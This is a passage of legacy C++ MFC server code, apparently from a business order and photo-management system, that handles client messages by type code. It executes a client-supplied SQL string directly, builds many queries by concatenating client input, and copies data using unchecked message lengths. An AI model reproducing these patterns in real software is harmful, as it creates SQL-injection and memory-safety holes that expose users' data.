					BYTE *pData=szChatMessage;
					DWORD nSqlPos;
					memcpy(&nSqlPos, pData+nMessageLen-sizeof(nSqlPos), sizeof(nSqlPos));
					DWORD sqlleng;
					memcpy(&sqlleng, pData+nSqlPos, sizeof(sqlleng));	
					char *pSql=new char[sqlleng+1];memset(pSql, 0, sqlleng+1);
					memcpy(pSql, pData+nSqlPos+sizeof(sqlleng), sqlleng);
					CString sql=pSql;
					delete []pSql;

					CString timestamp=CTime::GetCurrentTime ().Format ("%Y-%m-%d %H:%M:%S");
					sql.Replace("msgtimestamp2", timestamp);
					MyExecuteSQL (sql);

					int nSize=nSqlPos; 
					CRstinsidemsgFile rsSt; rsSt.m_pDatabase=m_pConndb;
					rsSt.m_strFilter ="timestamp='"+timestamp+"'";

					rsSt.Open ();
					rsSt.Edit ();
					rsSt.files.m_dwDataLength=nSize;
					if(nSize)
					{
						HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); 
						rsSt.files.m_hData=GlobalLock(hGlobal); 
						memcpy(rsSt.files.m_hData, szChatMessage, nSize);
						rsSt.SetFieldDirty(&rsSt.files);
						rsSt.SetFieldNull(&rsSt.files,FALSE);
						rsSt.Update();		
						GlobalUnlock(hGlobal); 
					}
					else
					{	
						rsSt.SetFieldDirty(&rsSt.files);
						rsSt.SetFieldNull(&rsSt.files,true);
						rsSt.Update();	
					}
					rsSt.Close(); 

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}	
				else if(dwToUserID==34)
				{
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					char no[20];
					memset(no, 0, 20);
					memcpy(no, szChatMessage, 20);
					CString timestamp=no;

					CRstinsidemsgFile rsSt; rsSt.m_pDatabase=m_pConndb;
					rsSt.m_strFilter ="timestamp='"+timestamp+"'";
					rsSt.Open ();

					int nDataLen=rsSt.files.m_dwDataLength;
					BYTE *pData2=NULL;
					if(nDataLen)
					{ 
						pData2=new BYTE[nDataLen];
						void *pData=GlobalLock(rsSt.files.m_hData); 
						memcpy(pData2, pData, nDataLen);
						GlobalUnlock(rsSt.files.m_hData); 
					}
					rsSt.Close();

					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					if(nDataLen)
						memcpy(pChatMessage->byFileContent, pData2, nDataLen);
				}
				else if(dwToUserID==30)
				{
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					int nSize=nMessageLen;
					CRstversion2 rsSt; 
					rsSt.Open ();
					rsSt.Edit ();
					rsSt.photo.m_dwDataLength=nSize;
					if(nSize)
					{
						HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); 
						rsSt.photo.m_hData=GlobalLock(hGlobal); 
						memcpy(rsSt.photo.m_hData, szChatMessage, nSize);
						rsSt.SetFieldDirty(&rsSt.photo);
						rsSt.SetFieldNull(&rsSt.photo,FALSE);
						rsSt.Update();		
						GlobalUnlock(hGlobal); 
					}
					else
					{	
						rsSt.SetFieldDirty(&rsSt.photo);
						rsSt.SetFieldNull(&rsSt.photo,true);
						rsSt.Update();	
					}
					rsSt.Close();
					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==31)
				{
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					CRstversion2 rsSt; 
					rsSt.Open ();
					int nDataLen=rsSt.photo.m_dwDataLength;
					BYTE *pData2=NULL;
					if(nDataLen)
					{ 
						pData2=new BYTE[nDataLen];
						void *pData=GlobalLock(rsSt.photo.m_hData); 
						memcpy(pData2, pData, nDataLen);
						GlobalUnlock(rsSt.photo.m_hData); 
					}
					rsSt.Close();

					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;
					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					if(nDataLen)
						memcpy(pChatMessage->byFileContent, pData2, nDataLen);
				}
				else if(dwToUserID==27)
				{
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					char no[100];
					memset(no, 0, 100);
					memcpy(no, szChatMessage, 100);
					CString id=no;

					CRstRenYuanPhoto rsSt; 
					rsSt.m_strFilter ="id='"+id+"'";
					rsSt.Open ();

					int nDataLen=rsSt.photo.m_dwDataLength;
					BYTE *pData2=NULL;
					if(nDataLen)
					{ 
						pData2=new BYTE[nDataLen];
						void *pData=GlobalLock(rsSt.photo.m_hData); 
						memcpy(pData2, pData, nDataLen);
						GlobalUnlock(rsSt.photo.m_hData); 

					}
					rsSt.Close();

					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					if(nDataLen)
						memcpy(pChatMessage->byFileContent, pData2, nDataLen);
				}
				else if(dwToUserID==28)
				{
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					char no[100];
					memset(no, 0, 100);
					memcpy(no, szChatMessage+nMessageLen-100, 100);
					CString id=no;
					int nSize=nMessageLen-100;

					CRstfixedassets rsSt; 
					rsSt.m_strFilter ="id='"+id+"'";
					rsSt.Open ();
					rsSt.Edit ();
					rsSt.photo.m_dwDataLength=nSize;
					if(nSize)
					{
						HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); 
						rsSt.photo.m_hData=GlobalLock(hGlobal); 
						memcpy(rsSt.photo.m_hData, szChatMessage, nSize);
						rsSt.SetFieldDirty(&rsSt.photo);
						rsSt.SetFieldNull(&rsSt.photo,FALSE);
						rsSt.Update();		
						GlobalUnlock(hGlobal); 
					}
					else
					{	
						rsSt.SetFieldDirty(&rsSt.photo);
						rsSt.SetFieldNull(&rsSt.photo,true);
						rsSt.Update();	
					}
					rsSt.Close();

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==29)
				{
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					char no[100];
					memset(no, 0, 100);
					memcpy(no, szChatMessage, 100);
					CString id=no;
					CRstfixedassets rsSt; 
					rsSt.m_strFilter ="id='"+id+"'";
					rsSt.Open();
					int nDataLen=rsSt.photo.m_dwDataLength;
					BYTE *pData2=NULL;
					if(nDataLen)
					{
						pData2=new BYTE[nDataLen];
						void *pData=GlobalLock(rsSt.photo.m_hData); 
						memcpy(pData2, pData, nDataLen);
						GlobalUnlock(rsSt.photo.m_hData); 
					}
					rsSt.Close();

					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					if(nDataLen)
						memcpy(pChatMessage->byFileContent, pData2, nDataLen);
				}
				else if (dwToUserID == 4)	// data字段;
				{
					ENCODE_START
					CRstUpdate rsSt;	
					rsSt.m_pDatabase=m_pConndb;
					rsSt.Open ();
					if(rsSt.IsEOF())
						rsSt.AddNew ();
					else
						rsSt.Edit ();
					rsSt.data.m_dwDataLength=nMessageLen;
					HGLOBAL hGlobal = GlobalAlloc(GPTR,nMessageLen); 
					rsSt.data.m_hData=GlobalLock(hGlobal); 
					memcpy(rsSt.data.m_hData, ptChatMessage->byFileContent, nMessageLen);
					rsSt.SetFieldDirty(&rsSt.data);
					rsSt.SetFieldNull(&rsSt.data,FALSE);
					rsSt.Update();
					GlobalUnlock(hGlobal); 
					rsSt.Close();
					ENCODE_END
					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;


					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if (dwToUserID == 5)	// data2字段;
				{
					ENCODE_START

					CRstUpdate rsSt;	
					rsSt.m_pDatabase=m_pConndb;
					rsSt.Open ();
					if(rsSt.IsEOF())
						rsSt.AddNew ();
					else
						rsSt.Edit ();
					rsSt.data2.m_dwDataLength=nMessageLen;
					HGLOBAL hGlobal = GlobalAlloc(GPTR,nMessageLen); 
					rsSt.data2.m_hData=GlobalLock(hGlobal); 
					memcpy(rsSt.data2.m_hData, ptChatMessage->byFileContent, nMessageLen);
					rsSt.SetFieldDirty(&rsSt.data2);
					rsSt.SetFieldNull(&rsSt.data2,FALSE);
					rsSt.Update();
					GlobalUnlock(hGlobal); 
					rsSt.Close();
					ENCODE_END

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==6)
				{
					{
						CArray<CStringArray, CStringArray>g_List1array;
						BYTE *szChatMessage = ptChatMessage->byFileContent;
						int count;
						memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int));
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						g_List1array.SetSize(count);
						for(int ii=0; ii<g_List1array.GetSize (); ii++)
						{
							g_List1array.ElementAt (ii).Serialize (ar);
						}
						ar.Close();
						memfile.Detach ();
						CString sql;
						if(g_List1array.GetSize ()==2)
						{
							if(g_List1array.ElementAt (0).GetSize ()==1)
							{
								sql.Format ("delete from dindansp where id='%s'", g_List1array.ElementAt(0).ElementAt(0));
								MyExecuteSQL ( sql);
								goto ll;
							}
						}

						CString clerk=g_List1array.ElementAt(count-1).ElementAt(0);
						CString date=CTime::GetCurrentTime ().Format ("%Y-%m-%d %H:%M:%S");
						CString sql2;

						CString growthtxname=g_List1array.ElementAt(0).ElementAt(8);

						if(growthtxname!="" && growthtxname!="全部")
							sql="delete from dindansp where kind<>'2' and id='"+g_List1array.ElementAt(0).ElementAt(0)+"' and [growthtxname]='"+growthtxname+"' and autoid<>";
						else
							sql="delete from dindansp where kind<>'2' and id='"+g_List1array.ElementAt(0).ElementAt(0)+"' and autoid<>";

						for(ii=0; ii<g_List1array.GetSize (); ii++)
						{
							if(g_List1array.ElementAt(ii).GetSize ()==1)continue;
							if(g_List1array.ElementAt(ii).ElementAt(1)!="")
							{
								sql+=g_List1array.ElementAt(ii).ElementAt(1);
								sql+=" and autoid<>";
							}
						}
						sql.TrimRight("and autoid<>");MyExecuteSQL ( sql); 

						for(ii=0; ii<g_List1array.GetSize (); ii++)
						{
							if(g_List1array.ElementAt(ii).GetSize ()==1)continue;
							if(g_List1array.ElementAt(ii).ElementAt(1)!="")
							{
#ifdef LKAY_VERSION
								sql.Format ("update dindansp set no='%s',spid='%s',name='%s',shuliang='%s',ps='%d',zs='%d' where autoid=%d",
									g_List1array.ElementAt(ii).ElementAt(8),g_List1array.ElementAt(ii).ElementAt(2),g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(5),
									atoi(g_List1array.ElementAt(ii).ElementAt(6)),atoi(g_List1array.ElementAt(ii).ElementAt(7)),atol(g_List1array.ElementAt(ii).ElementAt(1)));
#else
								sql.Format ("update dindansp set no='%s',spid='%s',name='%s',shuliang='%s' where autoid=%d",
									g_List1array.ElementAt(ii).ElementAt(6),g_List1array.ElementAt(ii).ElementAt(2),g_List1array.ElementAt(ii).ElementAt(3),
									g_List1array.ElementAt(ii).ElementAt(5),atol(g_List1array.ElementAt(ii).ElementAt(1)));
#endif
								MyExecuteSQL ( sql);
							}
							else
							{
#ifdef LKAY_VERSION
								sql.Format ("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[ps],[zs],[no],[growthtxname])values('%s','%s','%s','%s','%s','%s','%s','%s','%d','%d','%s','%s')",
									g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(2),
									g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),"1",
											g_List1array.ElementAt(ii).ElementAt(3),"未完成","未取",atoi(g_List1array.ElementAt(ii).ElementAt(6)),atoi(g_List1array.ElementAt(ii).ElementAt(7)),g_List1array.ElementAt(ii).ElementAt(8),g_List1array.ElementAt(ii).ElementAt(10));
#else
								sql.Format ("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[no],[growthtxname])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",
									g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(2),
									g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),"1",
											g_List1array.ElementAt(ii).ElementAt(3),"未完成","未取",g_List1array.ElementAt(ii).ElementAt(6),g_List1array.ElementAt(ii).ElementAt(8));
#endif
								MyExecuteSQL ( sql);
							}
							///////////////
							sql2.Format ("insert into dindansp2([id],[name],[count],[date],[clerk])values('%s','%s','%s','%s','%s')",
								g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(5),date,clerk);			
							MyExecuteSQL ( sql2);
							///////////////
						}

					}

ll:  
					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==32)
				{
					{
						CArray<CStringArray, CStringArray>g_List1array;
						BYTE *szChatMessage = ptChatMessage->byFileContent;
						int count;
						memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int));
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						g_List1array.SetSize(count);
						for(int ii=0; ii<g_List1array.GetSize (); ii++)
						{
							g_List1array.ElementAt (ii).Serialize (ar);
						}
						ar.Close();
						memfile.Detach ();
						CString sql;

						//	sql.Format ("delete from dindansp where id='%s' and kind='2'", g_List1array.ElementAt(0).ElementAt(0));
						//	MyExecuteSQL ( sql);

						for(ii=0; ii<g_List1array.GetSize (); ii++)
						{
							if(g_List1array.ElementAt(ii).ElementAt(9)=="")
							{
								sql.Format ("insert into dindansp([id],[shuliang],[kind],[name],[hqdate],[hqtime],[ren1],[ren2],[hqstatus],[bz])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",
									g_List1array.ElementAt(ii).ElementAt(0),"1", "2",g_List1array.ElementAt(ii).ElementAt(1),g_List1array.ElementAt(ii).ElementAt(3),
									g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),g_List1array.ElementAt(ii).ElementAt(6),g_List1array.ElementAt(ii).ElementAt(7),g_List1array.ElementAt(ii).ElementAt(8));
								MyExecuteSQL ( sql);
							}
							else
							{
								sql.Format ("update dindansp set [hqdate]='%s',[hqtime]='%s',[ren1]='%s',[ren2]='%s',[hqstatus]='%s',[bz]='%s' where [autoid]=%d",
									g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),
									g_List1array.ElementAt(ii).ElementAt(6),g_List1array.ElementAt(ii).ElementAt(7),g_List1array.ElementAt(ii).ElementAt(8), atoi(g_List1array.ElementAt(ii).ElementAt(9)));
								MyExecuteSQL ( sql);
							}
						}
					}

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==24)
				{
					{
						CArray<CStringArray, CStringArray>g_List1array;

						BYTE *szChatMessage = ptChatMessage->byFileContent;
						int count;
						memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int));
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						g_List1array.SetSize(count);
						for(int ii=0; ii<g_List1array.GetSize (); ii++)
						{
							g_List1array.ElementAt (ii).Serialize (ar);
						}
						ar.Close();
						memfile.Detach ();
						CString sql;
						BOOL bNULL=0;
						if(g_List1array.GetSize ()==2)
						{
							if(g_List1array.ElementAt (0).GetSize ()==1)
							{
								sql.Format ("delete from dindansp where id='%s'", g_List1array.ElementAt(0).ElementAt(0));
								MyExecuteSQL ( sql);
								bNULL=1;
							}
						}

						if(!bNULL)
						{
							CString clerk=g_List1array.ElementAt(count-1).ElementAt(0);
							CString date=CTime::GetCurrentTime ().Format ("%Y-%m-%d %H:%M:%S");
							CString sql2;

							CString growthtxname=g_List1array.ElementAt(0).ElementAt(11);
							if(growthtxname!="" && growthtxname!="全部")
								sql="delete from dindansp where kind<>'2' and id='"+g_List1array.ElementAt(0).ElementAt(0)+"' and [growthtxname]='"+growthtxname+"' and autoid<>";
							else
								sql="delete from dindansp where kind<>'2' and id='"+g_List1array.ElementAt(0).ElementAt(0)+"' and autoid<>";

							for(ii=0; ii<g_List1array.GetSize (); ii++)
							{
								if(g_List1array.ElementAt(ii).GetSize ()==1)continue;
								if(g_List1array.ElementAt(ii).ElementAt(1)!="")
								{
									sql+=g_List1array.ElementAt(ii).ElementAt(1);
									sql+=" and autoid<>";
								}
							}
							sql.TrimRight("and autoid<>");MyExecuteSQL ( sql); 

							CArray<CStringArray, CStringArray>storeinfoarray;
							{
								CRecordset myset(m_pConndb);
								CString	sql="select count(*) as cot from [storeinfo]";
								myset.Open (CRecordset::forwardOnly, sql);
								myset.GetFieldValue ("cot", sql);
								myset.Close();
								storeinfoarray.SetSize(atol(sql) , 1 );
								CGoodsinfoSet rsSt;	rsSt.m_pDatabase=m_pConndb;
								rsSt.Open();
								DWORD ii=0;
								while(!rsSt.IsEOF())
								{
									storeinfoarray.ElementAt (ii).RemoveAll ();
									storeinfoarray.ElementAt (ii).Add(rsSt.m_type) ;
									storeinfoarray.ElementAt (ii).Add(rsSt.m_name) ;
									ii++;
									rsSt.MoveNext();if(storeinfoarray.GetSize ()<=ii)break;
								}
								rsSt.Close();storeinfoarray.SetSize(ii , 1 );
							}
							CArray<CStringArray, CStringArray>storeinfoarray2;
							{
								CString id=g_List1array.ElementAt(0).ElementAt(0)+"(订单使用)";
								CRecordset myset(m_pConndb);
								CString	sql="select count(*) as cot from [storeinfo2] where [id]='"+id+"'";
								myset.Open (CRecordset::forwardOnly, sql);
								myset.GetFieldValue ("cot", sql);
								myset.Close(); 
								storeinfoarray2.SetSize(atol(sql) , 1 );
								CGoodsinfoSet2 rsSt;	rsSt.m_pDatabase=m_pConndb;
								rsSt.m_strFilter = "[id]='"+id+"'";
								rsSt.Open();
								DWORD ii=0;
								while(!rsSt.IsEOF())
								{
									storeinfoarray2.ElementAt (ii).RemoveAll ();
									storeinfoarray2.ElementAt (ii).Add(rsSt.m_type) ;
									storeinfoarray2.ElementAt (ii).Add(rsSt.m_name) ;
									ii++;
									rsSt.MoveNext();if(storeinfoarray2.GetSize ()<=ii)break;
								}
								rsSt.Close();storeinfoarray2.SetSize(ii , 1 );
							}


							for(ii=0; ii<g_List1array.GetSize (); ii++)
							{
								if(g_List1array.ElementAt(ii).GetSize ()==1)continue;
								if(g_List1array.ElementAt(ii).ElementAt(1)!="")
								{
#ifdef LKAY_VERSION
									sql.Format ("update [dindansp] set [no2]='%s',[spid]='%s',[name]='%s',[shuliang]='%s',ps='%d',zs='%d' where [autoid]=%d",
										g_List1array.ElementAt(ii).ElementAt(8),g_List1array.ElementAt(ii).ElementAt(2),
										g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(5),
										atoi(g_List1array.ElementAt(ii).ElementAt(6)),atoi(g_List1array.ElementAt(ii).ElementAt(7)),
												atol(g_List1array.ElementAt(ii).ElementAt(1)));

#else
									sql.Format ("update [dindansp] set [no2]='%s',[spid]='%s',[name]='%s',[shuliang]='%s' where [autoid]=%d",
										g_List1array.ElementAt(ii).ElementAt(6),g_List1array.ElementAt(ii).ElementAt(2),
										g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(5),
												atol(g_List1array.ElementAt(ii).ElementAt(1)));
#endif
									MyExecuteSQL ( sql);
								}
								else
								{
#ifdef LKAY_VERSION
									sql.Format ("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[ps],[zs],[no2],[growthtxname])values('%s','%s','%s','%s','%s','%s','%s','%s','%d','%d','%s','%s')",
										g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(2),
										g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),"1",
												g_List1array.ElementAt(ii).ElementAt(3),"未完成","未取",atoi(g_List1array.ElementAt(ii).ElementAt(6)),atoi(g_List1array.ElementAt(ii).ElementAt(7)),g_List1array.ElementAt(ii).ElementAt(8),g_List1array.ElementAt(ii).ElementAt(13));
#else
									sql.Format ("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[no2],[growthtxname])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",
										g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(2),
										g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),"1",
												g_List1array.ElementAt(ii).ElementAt(3),"未完成","未取",g_List1array.ElementAt(ii).ElementAt(6),g_List1array.ElementAt(ii).ElementAt(11));

#endif


									MyExecuteSQL ( sql);
								}
								///////////////
								sql2.Format ("insert into dindansp2([id],[name],[count],[date],[clerk])values('%s','%s','%s','%s','%s')",
									g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(5),date,clerk);			
								MyExecuteSQL ( sql2);
								///////////////
								///////////////减库存
								if(0)
								{
									int size=g_List1array.ElementAt(ii).GetSize ();
									if(g_List1array.ElementAt(ii).ElementAt(size-4)!="OK")continue;
									CString id=g_List1array.ElementAt(0).ElementAt(0)+"(订单使用)";	
									CString name=g_List1array.ElementAt(ii).ElementAt(3);
									CString lb=g_List1array.ElementAt(ii).ElementAt(size-3);
									CString count=g_List1array.ElementAt(ii).ElementAt(size-2);
									/*	CRecordset myset(m_pConndb);
									CString	sql="select count(*) as cot from storeinfo2 where [id]='"+id+"' and [type]='"+lb+"' and [name]='"+name+"' ";
									myset.Open (CRecordset::forwardOnly, sql);
									myset.GetFieldValue ("cot", sql);
									myset.Close();
									if(atoi(sql))continue;*/
									BOOL bNoReg=1;
									for(int bb=0; bb<storeinfoarray.GetSize (); bb++)
									{
										if(storeinfoarray.ElementAt (bb).ElementAt (0)==lb && storeinfoarray.ElementAt (bb).ElementAt (1)==name)
										{
											bNoReg=0;break;
										}
									}
									if(bNoReg)continue;

									BOOL bExist=0;
									for(  bb=0; bb<storeinfoarray2.GetSize (); bb++)
									{
										//	AfxMessageBox(storeinfoarray2.ElementAt (bb).ElementAt (1));
										if(storeinfoarray2.ElementAt (bb).ElementAt (0)==lb && storeinfoarray2.ElementAt (bb).ElementAt (1)==name)
										{
											bExist=1;break;
										}
									}
									if(bExist)continue;

									CString date=CTime::GetCurrentTime ().Format ("%Y-%m-%d");
									sql="insert into storeinfo2([id],[type],[name],[count],[date],[clerk])values('"+id+"','"+lb+"','"+name+"','"+count+"','"+date+"','系统')";
									MyExecuteSQL ( sql); 
								}
								///////////////
							}
						}
					}

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==25)
				{
					DWORD count=0;
					{
						CStringArray m_seldressarray;	
						BYTE *szChatMessage = ptChatMessage->byFileContent;
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						m_seldressarray.Serialize (ar);
						ar.Close();
						memfile.Detach ();
						CString sql;
						CString id=m_seldressarray.ElementAt (0);
						CString date=CTime::GetCurrentTime ().Format ("%Y-%m-%d");
						CString date2=date;	
						date.Replace ("-", "");
						sql="select max(id) as cot from dindan where id like '"+date+"%' ";
